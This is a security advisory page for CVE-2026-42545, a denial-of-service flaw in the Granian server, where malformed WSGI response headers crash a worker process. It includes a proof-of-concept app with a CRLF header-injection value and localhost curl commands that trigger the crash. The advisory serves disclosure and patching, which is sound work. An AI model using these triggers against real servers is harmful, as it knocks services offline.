CVE-2026-42545: Granian: DoS via WSGI response header panic

Published May 6, 2026
·
Updated

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

- a header name containing a space - a header value containing \r\n - a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

python app.py def app(environ, startresponse): path = environ.get("PATHINFO", "/") if path == "/crash-name": headers = [("X Bad Name", "value")] elif path == "/crash-value": headers = [("Content-Type", "text/html\r\nX-Injected: evil")] elif path == "/crash-null": headers = [("X-Custom", "value\x00end")] else: startresponse("200 OK", [("Content-Type", "text/plain")]) return [b"OK - server alive\n"]

startresponse("200 OK", headers) return [b"This response kills the worker\n"]

bash granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

bash curl http://127.0.0.1:8000/crash-name curl http://127.0.0.1:8000/crash-value curl http://127.0.0.1:8000/crash-null

Expected result:

- the worker aborts after any of the crash paths - subsequent requests fail until the worker is restarted

Impact

- Worker process denial of service - A single bad response kills one worker - Application bugs become process crashes instead of request-scoped failures

Other sources

Granian is a Rust HTTP server for Python applications. From 0.2.0 to 2.7.4, Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error. This vulnerability is fixed in 2.7.4.

— MITRE

Affected Software

2 affected componentsFixes available
pip/granian>=0.2.0<2.7.4
2.7.4
IBM Concert Software<=1.0-3.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/granian to a version that resolves this vulnerability.

    Fixed in 2.7.4
  2. Upgrade

    Upgrade Granian to a version that resolves this vulnerability.

    Fixed in 2.7.4

Event History

May 6, 2026
Advisory Published
via GitHub·09:24 PM
Data Sourced
via GitHub·09:24 PM
DescriptionSeverityWeaknessAffected Software
May 12, 2026
CVE Published
via MITRE·09:51 PM
Data Sourced
via MITRE·09:51 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeakness
Oct 14, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-42545?

CVE-2026-42545 has a high severity rating due to the risk of worker process aborts caused by invalid HTTP response headers.

2

How do I fix CVE-2026-42545?

To fix CVE-2026-42545, update the Granian package to version 2.7.4 or later.

3

What is the vulnerability in CVE-2026-42545?

CVE-2026-42545 is a vulnerability in Granian that causes process aborts when a WSGI application outputs invalid HTTP response headers.

4

Which versions of Granian are affected by CVE-2026-42545?

Granian versions from 0.2.0 to 2.7.4 are affected by CVE-2026-42545.

5

What type of applications are impacted by CVE-2026-42545?

WSGI applications that return malformed HTTP response header names or values are impacted by CVE-2026-42545.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203